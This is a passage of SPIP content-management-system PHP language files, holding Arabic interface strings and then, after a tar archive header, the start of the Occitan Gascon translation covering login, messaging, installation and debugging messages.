'info_copyright_doc' => 'لمزيد من المعلومات راجع الموقع<a href="@spipnet@">@spipnet_affiche@</a>.',
'info_copyright_gpl' => 'بموجب الترخيص العام GPL',
'info_cours_edition' => 'قيد التحرير',
'info_creer_repertoire' => 'الرجاء إنشاء ملف أو دليل باسم',
'info_creer_repertoire_2' => 'داخل الدليل الفرعي <b>@repertoire@</b>، ثم:',
'info_creer_vignette' => 'إنشاء آلي للمصغر',
'info_creerdansrubrique_non_autorise' => 'لا تملك الحقوق الكافية لإنشاء اي محتوى في هذا القسم',
'info_deplier' => 'بسط',
'info_descriptif_nombre' => 'الوصف:',
'info_description' => 'الوصف:',
'info_description_2' => 'الوصف:',
'info_dimension' => 'الحجم:',
'info_documents_nb' => '@nb@ مستند',
'info_documents_un' => 'مستند واحد',
'info_ecire_message_prive' => 'تحرير رسالة خاصة',
'info_email_invalide' => 'عنوان بريد غير صالح.',
'info_en_cours_validation' => 'مقالاتك قيد التحرير',
'info_en_ligne' => 'متصل حالياً:',
'info_envoyer_message_prive' => 'ابعث برسالة خاصة لهذا المؤلف',
'info_erreur_requete' => 'خطأ في الاستفسار:',
'info_erreur_squelette2' => 'لا توجد صفحة نموذجية <b>@fichier@</b> متاحة...',
'info_erreur_systeme' => 'خطأ في النظام (خطأ رقم @errsys@)',
'info_erreur_systeme2' => 'قد يكون القرص الصلب ممتلئاً أو قد تكون قاعدة البيانات معطلة.<br />
<span style="color:red;">حاول <a href=\'@script@\'>إصلاح القاعدة</a>، أو الاتصال بمضيف موقعك.</font> ',
'info_fini' => 'انتهى!',
'info_format_image' => 'تنسيق ملفات الصور الذي يمكن استخدامه لإنشاء المصغرات: @gd_formats@ .',
'info_format_non_defini' => 'تنسيق غير معروف',
'info_grand_ecran' => 'شاشة كبيرة',
'info_image_aide' => 'تعليمات',
'info_image_process_titre' => 'طريقة إنشاء المصغرات',
'info_impossible_lire_page' => '<b>خطأ!</b> لا يمكن قراءة الصفحة <tt><html>@test_proxy@</html></tt> عبر الجهاز الوكيل',
'info_installation_systeme_publication' => 'تثبيت نظام النشر...',
'info_installer_documents' => 'يمكنك تثبيت كل المستندات الموجودة في المجلد @upload@ آلياً.',
'info_installer_ftp' => 'بصفتك مديراً، يمكنك تثبيت (بواسطة بروتوكول FTP) ملفات في المجلد@upload@ من أجل تحديدهم في ما بعد مباشرة من هنا.',
'info_installer_images' => 'يمكنك تثبيت صور بتنسيقات JPEG وGIF وPNG.',
'info_installer_images_dossier' => 'تثبيت صور في المجلد @upload@ للتمكن من تحديدها هنا.',
'info_interface_complete' => 'واجهة كاملة',
'info_interface_simple' => 'واجهة مبسّطة',
'info_joindre_document_article' => 'يمكنك إرفاق مقالك بمستندات من الأنواع',
'info_joindre_document_rubrique' => 'يمكنك إضافة مستندات من الأنواع التالية إلى هذا القسم',
'info_joindre_documents_article' => 'يمكنك إرفاق مستندات من الأنواع التالية بمقالك :',
'info_l_article' => 'المقال',
'info_la_breve' => 'الخبر',
'info_la_rubrique' => 'القسم',
'info_langue_principale' => 'اللغة الأساسية للموقع',
'info_largeur_vignette' => '@largeur_vignette@ × @hauteur_vignette@ نقطة',
'info_les_auteurs_1' => 'من @les_auteurs@',
'info_logo_format_interdit' => 'الرموز بتنسيق @formats@ هي الوحيدة المسموح بها.',
'info_logo_max_poids' => 'يجب ألا يتعدى حجم الرموز @maxi@ (يبلغ حجم الملف الحالي @actuel@). ',
'info_mail_fournisseur' => 'you@isp.com',
'info_message_2' => 'رسالة',
'info_message_supprime' => 'تم حذف المشاركة',
'info_messages_nb' => '@nb@ رسالة',
'info_messages_un' => 'رسالة واحدة',
'info_mise_en_ligne' => 'تاريخ النشر:',
'info_modification_parametres_securite' => 'تعديل إعدادات الأمان',
'info_mois_courant' => 'في بحر الشهر:',
'info_mot_cle_ajoute' => 'تمت إضافة المفتاح التالي إلى',
'info_multi_herit' => 'اللغة الافتراضية',
'info_multi_langues_soulignees' => '<u>اللغات التي تحتها خط</u> تتمتع بترجمة كاملة او جزئية لكل نصوص الواجهة. فإذا حددت هذه اللغات، سيتم ترجمة العديد من عناصر الموقع العمومي (التواريخ والاستمارات) آلياً. أما بالنسبة للغات التي ليس تحتها خط، فستظهر هذه العناصر في لغة الموقع الأساسية.',
'info_multilinguisme' => 'تعدد اللغات',
'info_nom_non_utilisateurs_connectes' => 'اسمك لا يظهر في قائمة المستخدمين المتصلين.',
'info_nom_utilisateurs_connectes' => 'اسمك يظهر في قائمة المستخدمين المتصلين.',
'info_nombre_en_ligne' => 'متصل حالياً:',
'info_non_resultat' => 'لا توجد نتائج لـ "@cherche_mot@"',
'info_non_utilisation_messagerie' => 'أنت لا تستخدم المراسلة الداخلية في هذا الموقع.',
'info_nouveau_message' => 'وصلت رسالة جديدة',
'info_nouveaux_messages' => 'وصلت @total_messages@ رسالة جديدة',
'info_numero_abbreviation' => 'رقم',
'info_obligatoire' => 'هذه المعلومة إجبارية',
'info_pense_bete' => 'مذكرة',
'info_petit_ecran' => 'شاشة صغيرة',
'info_petition_close' => 'عريضة مقفلة',
'info_pixels' => 'نقطة',
'info_plusieurs_mots_trouves' => 'تم العثور على عدة مفاتيح لـ "@cherche_mot@" :',
'info_portfolio_automatique' => 'محفظة آلية:',
'info_premier_resultat' => '[النتائج الـ@debut_limit@ الأولى من أصل @total@]',
'info_premier_resultat_sur' => '[النتائج الـ@debut_limit@ الأولى من أصل @total@]',
'info_propose_1' => '[@nom_site_spip@] يقترح: @titre@',
'info_propose_2' => 'مقال معروض
----------',
'info_propose_3' => 'المقال "@titre@" معروض للنشر.',
'info_propose_4' => 'أنت مدعو لمراجعته وإبداء رأيك',
'info_propose_5' => 'في المنتدى المرتبط به. إنه موجود على العنوان:',
'info_publie_01' => 'تم التصديق على المقال "@titre@" من قبل @connect_nom@ .',
'info_publie_1' => '[@nom_site_spip@] ينشر: @titre@',
'info_publie_2' => 'مقال منشور
----------',
'info_rechercher' => 'بحث',
'info_rechercher_02' => 'بحث:',
'info_remplacer_vignette' => 'استبدال المصغر الافتراضي بشعار شخصي:',
'info_rubriques_nb' => '@nb@ قسم',
'info_rubriques_un' => 'قسم واحد',
'info_sans_titre_2' => 'بدون عنوان',
'info_selectionner_fichier' => 'يمكنك تحديد ملف من المجلد @upload@:',
'info_selectionner_fichier_2' => 'تحديد ملف:',
'info_sites_nb' => '@nb@ موقع',
'info_sites_un' => 'موقع واحد',
'info_supprimer_vignette' => 'حذف المصغر',
'info_symbole_bleu' => 'الرمز <b>أزرق</b> يرمز إلى <b>مذكرة</b>: أي رسالة لاستخدامك الشخصي.',
'info_symbole_jaune' => 'الرمز <b>أصفر</b> يرمز إلى <b>إعلان لجميع المحررين</b>: يمكن لجميع المدراء تحريره وهو ظاهر لجميع المحررين.',
'info_symbole_vert' => 'الرمز <b>أخضر</b> يرمز إلى <b>الرسائل المتبادلة بين مستخدمي</b> الموقع.',
'info_telecharger_nouveau_logo' => 'تحميل شعار جديد:',
'info_telecharger_ordinateur' => 'تحميل من جهازك:',
'info_tous_resultats_enregistres' => '[تم تسجيل كل النتائج]',
'info_tout_afficher' => 'إظهار الكل',
'info_travaux_texte' => 'هذا الموقع قيد الإعداد. برجاء العودة في وقت لاحق...',
'info_travaux_titre' => 'موقع قيد التصميم',
'info_trop_resultat' => 'تم العثور على عدد كبير جداً من النتائج لـ "@cherche_mot@" ، الرجاء زيادة دقة البحث.',
'info_utilisation_messagerie_interne' => 'أنت تستخدم المراسلة الداخلية في هذا الموقع.',
'info_valider_lien' => 'التصديق على هذه الوصلة',
'info_verifier_image' => '، الرجاء التأكد من أنه تم نقل الصور بشكل سليم.',
'info_vignette_defaut' => 'المصغر الافتراضي',
'info_vignette_personnalisee' => 'مصغر شخصي',
'info_visite' => 'زيارة:',
'info_vos_rendez_vous' => 'مواعيدك القادمة',
'infos_vos_pense_bete' => 'مذكراتك',
// L
'label_ajout_id_rapide' => 'إضافة سريعة',
'label_poids_fichier' => 'الحجم',
'lien_afficher_icones_seuls' => 'عرض الرموز فقط',
'lien_afficher_texte_icones' => 'عرض الرموز والعناوين',
'lien_afficher_texte_seul' => 'عرض العناوين فقط',
'lien_liberer' => 'فك الحجز',
'lien_liberer_tous' => 'فك حجز الكل',
'lien_nouvea_pense_bete' => 'مذكرة جديدة',
'lien_nouveau_message' => 'رسالة جديدة',
'lien_nouvelle_annonce' => 'إعلان جديد',
'lien_petitions' => 'عريضة',
'lien_popularite' => 'شعبية: @popularite@%',
'lien_racine_site' => 'أصل الموقع',
'lien_reessayer' => 'إعادة المحاولة',
'lien_repondre_message' => 'الرد على هذه المشاركة',
'lien_supprimer' => 'حذف',
'lien_tout_afficher' => 'إظهار الكل',
'lien_visite_site' => 'زيارة هذا الموقع',
'lien_visites' => '@visites@ زيارة',
'lien_voir_auteur' => 'مراجعة هذا المؤلف',
'ligne' => 'سطر',
'login' => 'الدخول',
'login_acces_prive' => 'الدخول إلى المجال الخاص',
'login_autre_identifiant' => 'الاتصال بمعرّف آخر',
'login_cookie_accepte' => 'الرجاء تهيئ برنامج التصفح ليتقبلها (من هذا الموقع على الأقل)',
'login_cookie_oblige' => 'للتعريف عن نفسك بشكل آمن في هذا الموقع، يجب قبول الكعكات (cookies).',
'login_deconnexion_ok' => 'تم قطع الاتصال.',
'login_erreur_pass' => 'خطأ في كلمة السر.',
'login_espace_prive' => 'المجال الخاص',
'login_identifiant_inconnu' => 'المعرّف «@login@» غير معروف.',
'login_login' => 'المعرّف:',
'login_login2' => 'المعرّف او عنوان البريد الالكتروني:',
'login_login_pass_incorrect' => '(خطأ في المعرّف أو كلمة السر).',
'login_motpasseoublie' => 'هل نسيت كلمة السر؟',
'login_non_securise' => 'لطفا، هذه الاستمارة غير آمنة.
إذا كنت ترغب أن تكون كلمة سرك
آمنة على الشبكة، يجب تفعيل جافاسكريبت
في برنامج التصفح',
'login_nouvelle_tentative' => 'محاولة جديدة',
'login_par_ici' => 'أنت مسجّل... توجه من هنا...',
'login_pass2' => 'كلمة السر:',
'login_preferez_refuser' => '<b>إذا كنت تفضل عدم قبول الكعكات</b>، يمكنك استخدام طريقة دخول أخرى (أقل أماناً):',
'login_recharger' => 'وإعادة تحميل الصفحة',
'login_rester_identifie' => 'ابقى متصلاً بضعة أيام',
'login_retour_public' => 'عودة إلى الموقع العام',
'login_retour_site' => 'عودة إلى الموقع العام',
'login_retoursitepublic' => 'عودة إلى الموقع العام',
'login_sans_cookiie' => 'تعريف بدون الكعكة',
'login_securise' => 'تعريف مؤمّن',
'login_sinscrire' => 'تسجيل',
'login_test_navigateur' => 'تجربة المتصفح/إعادة الاتصال',
'login_verifiez_navigateur' => '(على أي حال، تأكد من أن المتصفح لم يقم بحفظ كلمة سرك...)',
// M
'masquer_colonne' => 'حجب هذا العمود',
'masquer_trad' => 'حجب الترجمات',
'module_fichiers_langues' => 'ملفات اللغة',
// N
'navigateur_pas_redirige' => 'إذا لم تتم إعادة توجيه متصفحك، انقر هنا للمتابعة.',
'numero' => 'رقم',
// O
'occurence' => 'ظهور',
'onglet_affacer_base' => 'حذف قاعدة البيانات',
'onglet_auteur' => 'المؤلف',
'onglet_contenu_site' => 'محتوى الموقع',
'onglet_evolution_visite_mod' => 'تطور',
'onglet_fonctions_avances' => 'الوظائف المتطورة',
'onglet_informations_personnelles' => 'المعلومات الشخصية',
'onglet_interactivite' => 'التفاعلية',
'onglet_messagerie' => 'المراسلة',
'onglet_repartition_rubrique' => 'التوزيع حسب الأقسام',
'onglet_save_restaur_base' => 'نسخ احتياطي / استرجاع القاعدة',
'onglet_vider_cache' => 'تفريغ الذاكرة المخبأة',
// P
'pass_choix_pass' => 'الرجاء اختيار كلمة السر الجديدة:',
'pass_erreur' => 'خطأ',
'pass_erreur_acces_refuse' => '<b>خطأ:< b> لم تعد تملك حق الدخول إلى هذا الموقع.',
'pass_erreur_code_inconnu' => '<b>خطأ:< b> هذا المعرّف لا يتناسب مع أي من الزوار الذين يتمتعون بحق الدخول إلى هذا الموقع.',
'pass_erreur_non_enregistre' => '<b>خطأ:< b> العنوان <tt>@email_oubli@</tt> ليس مسجلاً في هذا الموقع.',
'pass_erreur_non_valide' => '<b>خطأ:< b> العنوان <tt>@email_oubli@</tt> ليس صالحاً.',
'pass_erreur_probleme_technique' => '<b>خطأ:< b> لم يتم بعث هذه الرسالة بسبب مشكلة تقنية.',
'pass_espace_prive_bla' => 'المجال الخاص لهذا الموقع مفتوح
للزوار بعد تسجيلهم. بعد تسجيلك
يمكنك مراجعة المقالات قيد التحرير
واقتراح مقالات والمشاركة في كل المنتديات.',
'pass_forum_bla' => 'طلبت المشاركة في منتدى
محصور بالزوار المسجلين.',
'pass_indiquez_cidessous' => 'قم بإدخال العنوان الإلكتروني الذي
تسجلت بواستطه سابقاً.
ستحصل على رسالة تفسر لك كيفية
استعادة دخولك.',
'pass_mail_passcookie' => '(هذه رسالة آلية)
لاستعادة دخولك إلى الموقع
@nom_site_spip@ (@adresse_site@)
الرجاء الذهاب إلى العنوان التالي:
@sendcookie@
يمكنك عندها إدخال كلمة سر جديدة
وإعادة الاتصال بالموقع.
',
'pass_mot_oublie' => 'نسيان كلمة السر',
'pass_nouveau_enregistre' => 'تم تسجيل كلمة سرك الجديدة.',
'pass_nouveau_pass' => 'كلمة السر الجديدة',
'pass_ok' => 'موافق',
'pass_oubli_mot' => 'نسيان كلمة السر',
'pass_procedure_changer' => 'من أجل تغيير كلمة السر يتحتم اولاً التأكد من هويتك. لذلك، قم بأدخال عنوان البريد الالكتروني المرتبط بهذا الحساب.',
'pass_quitter_fenetre' => 'إقفال هذه النافذة',
'pass_rappel_login' => 'تذكير: معرّفك هو «@login@».',
'pass_recevoir_mail' => 'ستحصل على رسالة تفسر لك كيف تستعيد دخولك إلى الموقع.',
'pass_retour_public' => 'عودة إلى الموقع العام',
'pass_rien_a_faire_ici' => 'لا شغل لك هنا.',
'pass_vousinscrire' => 'تسجيلك في الموقع',
'precedent' => 'السابق',
'previsualisation' => 'عرض مسبق',
'previsualiser' => 'عرض مسبق',
// R
'retour' => 'عودة',
// S
'spip_conforme_dtd' => 'يعتبر SPIP أن هذا المستند مطابق لتحديد DOCTYPE:',
'squelette' => 'صفحة نموذجية',
'squelette_inclus_ligne' => 'صفحة نموذجية مدمجة، سطر',
'squelette_ligne' => 'صفحة نموذجية، سطر',
'stats_visites_et_popularite' => '@visites@ زيارة؛ شعبية: @popularite@',
'suivant' => 'التالي',
// T
'taille_go' => '@taille@ غيغابايت',
'taille_ko' => '@taille@ كيلوبايت',
'taille_mo' => '@taille@ ميغابايت',
'taille_octets' => '@taille@ بايت',
'texte_actualite_site_1' => 'عندما تتأقلم مع واجهة النظام انقر على «',
'texte_actualite_site_2' => 'الواجهة الكاملة',
'texte_actualite_site_3' => '» لإتاحة المزيد من الوظائف.',
'texte_creation_automatique_vignette' => 'لقد تم تفعيل الإنشاء الآلي لمصغرات المعاينة. إذا استخدمت هذه الاستمارة لإدخال صور بتنسيق (أو تنسيقات) @gd_formats@، سيتم تزويدها بمصغر لا يزيد حجمه عن @taille_preview@ نقطة. ',
'texte_documents_associes' => 'المستندات التالية ترافق المقال،
لكنها لم تُدرج
مباشرة. بالاعتماد على تصميم الموقع العمومي،
قد تظهر على شكل مستندات مرفقة.',
'texte_erreur_mise_niveau_base' => 'خطأ في قاعدة البيانات خلال الترقية.
تعذر تمرير الصورة <b>@fichier@</b> (المقال @id_article@).
سجل هذا المرجع وحاول إعادة عملية
الترقية، وأخيراً تأكد من أن الصور لا تزال تظهر
في المقالات.',
'texte_erreur_visiteur' => 'حاولت الدخول إلى المجال الخاص بمعرّف لا يسمح بذلك.',
'texte_inc_auth_1' => 'عرّفت عن نفسك
بالمعرّف <b>@auth_login@</b>، لكنه غير (لم يعد) موجود في قاعدة البيانات.
حاول ',
'texte_inc_auth_2' => 'إعادة الاتصال',
'texte_inc_auth_3' => '، بعد إنهاء المتصفح ثم
إعادة تشغيله إذا اقتضت الحاجة.',
'texte_inc_config' => 'التغييرات الداخلة على هذه الصفحة تؤثر بشكل ملحوظ على
تشغيل الموقع. يستحسن عدم إدخال تغييرات قبل
التأقلم مع نظام SPIP للنشر. <br /><br /><b>بشكل
عام، ننصحك
بحصر التعامل مع هذه الصفحات بالمسؤول الأساسي عن تصميم الموقع.</b>',
'texte_inc_meta_1' => 'واجه النظام خطأً خلال كتابة الملف <code>@fichier@</code>. بصفتك أحد مدراء الموقع، الرجاء',
'texte_inc_meta_2' => 'التأكد من حقوق الكتابة',
'texte_inc_meta_3' => 'الخاصة بالدليل <code>@repertoire@</code>. ',
'texte_statut_en_cours_redaction' => 'قيد التحرير',
'texte_statut_poubelle' => 'إلى المهملات',
'texte_statut_propose_evaluation' => 'معروض للتقييم',
'texte_statut_publie' => 'منشور',
'texte_statut_refuse' => 'مرفوض',
'titre_ajouter_mot_cle' => 'إضافة مفتاح:',
'titre_cadre_raccourcis' => 'اختصارات:',
'titre_changer_couleur_interface' => 'تغيير لون الواجهة',
'titre_image_admin_article' => 'أنت مخول إدارة هذا المقال',
'titre_image_administrateur' => 'مدير',
'titre_image_aide' => 'تعليمات حول هذا العنصر',
'titre_image_auteur_supprime' => 'مؤلف محذوف',
'titre_image_redacteur' => 'محرر دون إذن دخول',
'titre_image_redacteur_02' => 'محرر',
'titre_image_selecteur' => 'عرض القائمة',
'titre_image_visiteur' => 'زائر',
'titre_joindre_document' => 'إرفاق مستند',
'titre_mots_cles' => 'المفاتيح',
'titre_probleme_technique' => 'تحذير: مشكلة تقنية (خادم SQL) تمنع الدخول إلى هذا الجزء من الموقع. شكراً على تفهمكم.',
'titre_publier_document' => 'نشر مستند في هذا القسم',
'titre_signatures_attente' => 'تواقيع بانتظار التصديق',
'titre_signatures_confirmees' => 'توقيعات مصدّقة',
'titre_statistiques' => 'إحصاءات الموقع',
'titre_titre_document' => 'اسم المستند: ',
'todo' => 'قريباً',
'trad_reference' => '(مرجع الترجمات)',
// Z
'zbug_balise_b_aval' => ': العلامة B متأخرة',
'zbug_balise_inexistante' => 'خطأ في الاعلان عن العلامة @balise@ لـ@from@',
'zbug_balise_sans_argument' => 'عامل غير موجود في علامة @balise@',
'zbug_boucle' => 'حلقة',
'zbug_boucle_recursive_undef' => 'حلقة دورية غير معرّفة: @nom@',
'zbug_calcul' => 'حساب',
'zbug_champ_hors_boucle' => 'الحقل @champ@ خارج الحلقة',
'zbug_champ_hors_motif' => 'الحقل @champ@ خارج سياق @motif@',
'zbug_code' => 'الرموز البرمجية',
'zbug_critere_inconnu' => 'معيار غير معروف @critere@',
'zbug_distant_interdit' => 'عملية خارجية ممنوعة',
'zbug_doublon_table_sans_cle_primaire' => 'قيمة مكررة في جدول لا يملك مفتاح أساسي',
'zbug_doublon_table_sans_index' => 'تكرار في جدول غير مفهرس',
'zbug_erreur_boucle_double' => 'تعريف متكرر للحلقة @id@',
'zbug_erreur_boucle_fermant' => 'علامة إغلاق غائبة في حلقة @id@',
'zbug_erreur_boucle_syntaxe' => 'تركيب حلقة @id@ غير صحيح',
'zbug_erreur_compilation' => 'خطأ تصنيف',
'zbug_erreur_execution_page' => 'خطأ في التنفيذ',
'zbug_erreur_filtre' => 'المرشح @filtre@ غير معرّف ',
'zbug_erreur_meme_parent' => 'لا ينطبق معيار {meme_parent} إلا على حلقتي (FORUMS) أو (RUBRIQUES)',
'zbug_erreur_squelette' => 'خطأ في الصفحة النموذجية',
'zbug_hors_compilation' => 'خارج التصنيف',
'zbug_info_erreur_squelette' => 'خطأ في الموفع',
'zbug_inversion_ordre_inexistant' => 'عكس ترتيب غير موجود أصلاً',
'zbug_pagination_sans_critere' => 'علامة PAGINATION# بدون معيار {pagination} أو مستخدمة في حلقة دورية',
'zbug_parametres_inclus_incorrects' => 'عامل إدراج غير صحيحة: @param@',
'zbug_profile' => 'فترة المعالجة: @time@',
'zbug_resultat' => 'النتيجة',
'zbug_serveur_indefini' => 'خادم SQL غير محدد',
'zbug_statistiques' => 'احصاءات استفسارات SQL مرتبة حسب المدة',
'zbug_table_inconnue' => 'جدول SQL هو «@table@» غير معروف',
'zxml_connus_attributs' => 'خاصيات معروفة',
'zxml_de' => 'من',
'zxml_inconnu_attribut' => 'خاصية غير معروفة',
'zxml_inconnu_balise' => 'علامة غير معروفة',
'zxml_inconnu_entite' => 'كائن غير معروف',
'zxml_inconnu_id' => 'هوية ID غير معروفة',
'zxml_mais_de' => 'لكن من',
'zxml_non_conforme' => 'غير مطابق للشكل',
'zxml_non_fils' => 'ليس من سلالة',
'zxml_nonvide_balise' => 'علامة غير فارغة',
'zxml_obligatoire_attribut' => 'خاصية إجبارية لكنها غير موجودة في',
'zxml_succession_fils_incorrecte' => 'تتابع سلالات غير سليم',
'zxml_survoler' => 'الحوم لعرض الصحيح',
'zxml_valeur_attribut' => 'قيمة الخاصية',
'zxml_vide_balise' => 'علامة فارغة',
'zxml_vu' => 'ظهر مسبقاً'
);
?>
ecrire_oc_gsc.php 0000666 00000151375 15252547432 0010074 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/ecrire_?lang_cible=oc_gsc
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'aide_non_disponible' => 'Aquera part de l’ajuda en linha n’ei pas enqüèra disponibla tà aquesta lenga.',
'avis_acces_interdit' => 'Accès proïbit.',
'avis_article_modifie' => 'Atencion, @nom_auteur_modif@ qu’a trabalhat sus aqueth article hè @date_diff@ minutas',
'avis_aucun_resultat' => 'Nat resultat.',
'avis_chemin_invalide_1' => 'Lo camin qui avetz causit',
'avis_chemin_invalide_2' => 'non sembla pas valid. Volhatz tornar a la pagina anteriora tà verificar las informacions hornidas.',
'avis_connexion_echec_1' => 'La connexion au servider SQL que s’i ei mauescaduda.', # MODIF
'avis_connexion_echec_2' => 'Tornatz a la pagina anteriora, e verificatz las informacions qui avetz hornidas.',
'avis_connexion_echec_3' => '<b>N.B.</b> Sus hèra de serviders, que devetz <b>demandar</b> qu’activen lo vòste accès a la basa SQL abans de poder utilizar-la. Se ne’vs podetz pas connectar, verificatz qu’ajatz plan realizat aqueth procediment.', # MODIF
'avis_connexion_ldap_echec_1' => 'La connexion au servider LDAP que s’i ei mauescaduda.',
'avis_connexion_ldap_echec_2' => 'Tornatz a la pagina anteriora, e verificatz las informacions qui avetz hornidas. ',
'avis_connexion_ldap_echec_3' => 'Alternativament, n’utilizetz pas lo supòrt LDAP tà importar utilizaires.',
'avis_deplacement_rubrique' => 'Atention! Aquera rubrica que contien @contient_breves@ brèvas@scb@: se la desplaçatz, que voleretz plan oscar aquera casa de confirmacion.',
'avis_destinataire_obligatoire' => 'Que devetz indicar un destinatari abans d’enviar aqueth messatge.',
'avis_erreur_connexion_mysql' => 'Error de connexion SQL',
'avis_erreur_version_archive' => '<b>Atencion! Lo fichièr @archive@ que correspond a ua auta version d’SPIP que la qu’avetz installada.</b> Qu’anatz de cap tà dificultats de la bèras: risc de destruccion de la vòsta basa de dadas, disfoncionaments divèrs deu sit, etc. Non validetz pas aquera demanda d’importacion.<p> Entà mei informacions, vejatz
<a href="@spipnet@">
la documentacion d’SPIP</a>.', # MODIF
'avis_espace_interdit' => '<b>Espaci proïbit</b><p>SPIP qu’ei ja installat.',
'avis_lecture_noms_bases_1' => 'Lo programa d’installacion n’a pas poscut legir los noms de las basas de dadas installadas.',
'avis_lecture_noms_bases_2' => 'Sia nada basa n’ei pas disponibla, sia la foncion qui permet de listar las basas ei estada desactivada per rasons de seguretat (aquò qu’ei lo cas en çò de mei d’un aubergader).',
'avis_lecture_noms_bases_3' => 'Dens la dusau alternativa, qu’ei probable qu’ua basa qui pòrta lo vòste nom de login e sia utilizabla:',
'avis_non_acces_message' => 'Non podetz pas accedir a aqueth messatge.',
'avis_non_acces_page' => 'Non podetz pas accedir a aquera pagina.',
'avis_operation_echec' => 'L’operacion que s’i ei mauescaduda.',
'avis_probleme_archive' => 'Problèma de lectura deu fichièr @archive@',
'avis_suppression_base' => 'ATENCION, suprimir las dadas qu’ei irreversible',
'avis_version_mysql' => 'La vòsta version de SQL (@version_mysql@) non permet pas l’autoreparacion de las taulas de la basa.',
// B
'bouton_acces_ldap' => 'Ajustar l’accès a LDAP >>',
'bouton_ajouter' => 'Ajustar',
'bouton_ajouter_participant' => 'AJUSTAR UN PARTICIPANT:',
'bouton_annonce' => 'ANONCI',
'bouton_checkbox_envoi_message' => 'possibilitat de mandar un messatge',
'bouton_checkbox_indiquer_site' => 'indicar obligatòriament un sit web',
'bouton_checkbox_signature_unique_email' => 'sonque ua signatura per adreiça e-mail',
'bouton_checkbox_signature_unique_site' => 'sonque ua signatura per sit web',
'bouton_demande_publication' => 'Demandar la publicacion d’aqueste article',
'bouton_effacer_index' => 'Esfaçar los indèx',
'bouton_effacer_tout' => 'Esfaçar-ac tot',
'bouton_envoi_message_02' => 'MANDAR UN MESSATGE',
'bouton_envoyer_message' => 'Messatge definitiu: mandar',
'bouton_modifier' => 'Modificar',
'bouton_pense_bete' => 'MEMENTO (D’USATGE PERSONAU)',
'bouton_radio_activer_messagerie' => 'Activar la messatjaria intèrna',
'bouton_radio_activer_messagerie_interne' => 'Activar la messatjaria intèrna',
'bouton_radio_activer_petition' => 'Activar la peticion',
'bouton_radio_afficher' => 'Afichar',
'bouton_radio_apparaitre_liste_redacteurs_connectes' => 'Afichar dens la tèra deus redactors connectats',
'bouton_radio_desactiver_messagerie' => 'Desactivar la messatjaria',
'bouton_radio_envoi_annonces_adresse' => 'Mandar los anoncis a l’adreiça:',
'bouton_radio_envoi_liste_nouveautes' => 'Mandar la tèra de las nautats',
'bouton_radio_non_apparaitre_liste_redacteurs_connectes' => 'N’aparéisher pas dens la tèra deus redactors',
'bouton_radio_non_envoi_annonces_editoriales' => 'Non mandar pas nat anonci editoriau',
'bouton_radio_pas_petition' => 'Nada peticion',
'bouton_radio_petition_activee' => 'Peticion activada',
'bouton_radio_supprimer_petition' => 'Suprimir la peticion',
'bouton_redirection' => 'TORNAR DIRIGIR',
'bouton_relancer_installation' => 'Tornar lançar l’installacion',
'bouton_suivant' => 'Seguent',
'bouton_tenter_recuperation' => 'Ensajar de reparar',
'bouton_test_proxy' => 'Ensajar lo proxy',
'bouton_vider_cache' => 'Vueidar l’esconeder',
'bouton_voir_message' => 'Véder aqueth messatge abans de’u validar',
// C
'cache_mode_compresse' => 'Los fichièrs de l’esconeder que son registrats en mòde comprimit.',
'cache_mode_non_compresse' => 'Los fichièrs de l’esconeder que son registrats en mòde non comprimit.',
'cache_modifiable_webmestre' => 'Lo webmèstre deu sit que pòt modificar aquestes paramètres.',
'calendrier_synchro' => 'S’utilizatz un logiciau d’agenda compatible <b>iCal</b> (Apple iCal, Mozilla Calendar, Ximian Evolution, KOrganizer...), que’u podetz sincronizar dab l’actualitat deu sit.',
// D
'date_mot_heures' => 'òras',
// E
'email' => 'e-mail',
'email_2' => 'e-mail:',
'entree_adresse_annuaire' => 'Adreiça de l’annuari',
'entree_adresse_email' => 'La vòsta adreiça e-mail',
'entree_base_donnee_1' => 'Adreiça de la basa de dadas',
'entree_base_donnee_2' => '(Sovent, aquera adreiça que correspond a la deu vòste sit, a còps que correspond a la mençon "localhost", a còps, que’s dèisha vueida completament.)',
'entree_biographie' => 'Biografia braca, en quauques mots.',
'entree_chemin_acces' => '<b>Entrar</b> lo camin d’accès:',
'entree_cle_pgp' => 'La vòsta clau PGP',
'entree_contenu_rubrique' => '(Contengut de la rubrica en quauques mots.)',
'entree_identifiants_connexion' => 'Los vòstes identificants de connexion...',
'entree_informations_connexion_ldap' => 'Volhatz entrar dens aqueth formulari las informacions de connexion au vòste annuari LDAP.
L’administrator deu sistèma o de l’arret que’vs deu poder hornir
aqueras informacions.',
'entree_infos_perso' => 'Qui ètz?',
'entree_interieur_rubrique' => 'Laguens la rubrica:',
'entree_liens_sites' => '<b>Ligam ipertèxt</b> (referéncia, sit de vesitar...)',
'entree_login' => 'Lo vòste login',
'entree_login_connexion_1' => 'Lo login de connexion',
'entree_login_connexion_2' => '(Que correspond a còps au vòste login d’accès a l’FTP; a còps qu’es dèisha vueid)',
'entree_login_ldap' => 'Login LDAP iniciau',
'entree_mot_passe' => 'Lo vòste mot de santa Clara',
'entree_mot_passe_1' => 'Mot de santa Clara tà la connexion',
'entree_mot_passe_2' => '(Que correspond a còps au vòste mot de santa Clara tà l’FTP; a còps que’s dèisha vueid)',
'entree_nom_fichier' => 'Volhatz entrar lo nom deu fichièr @texte_compresse@:',
'entree_nom_pseudo' => 'Lo vòste nom o lo vòste pseudonim',
'entree_nom_pseudo_1' => '(Lo vòste nom o lo vòste pseudonim)',
'entree_nom_site' => 'Lo nom deu vòste sit',
'entree_nouveau_passe' => 'Mot de santa Clara navèth',
'entree_passe_ldap' => 'Mot de santa Clara',
'entree_port_annuaire' => 'Lo numèro de pòrt de l’annuari',
'entree_signature' => 'Signatura',
'entree_titre_obligatoire' => '<b>Títol</b> [Obligatòri]<br />',
'entree_url' => 'L’adreiça (URL) deu vòste sit',
// I
'ical_info1' => 'Aquera pagina que muisha metòdes diferents entà demorar en contacte dab la vita d’aqueth sit.',
'ical_info2' => 'Tà tiéner mei informacions suber aqueras tecnicas, n’esitetz pas de consultar <a href="@spipnet@">la documentacion d’SPIP</a>.', # MODIF
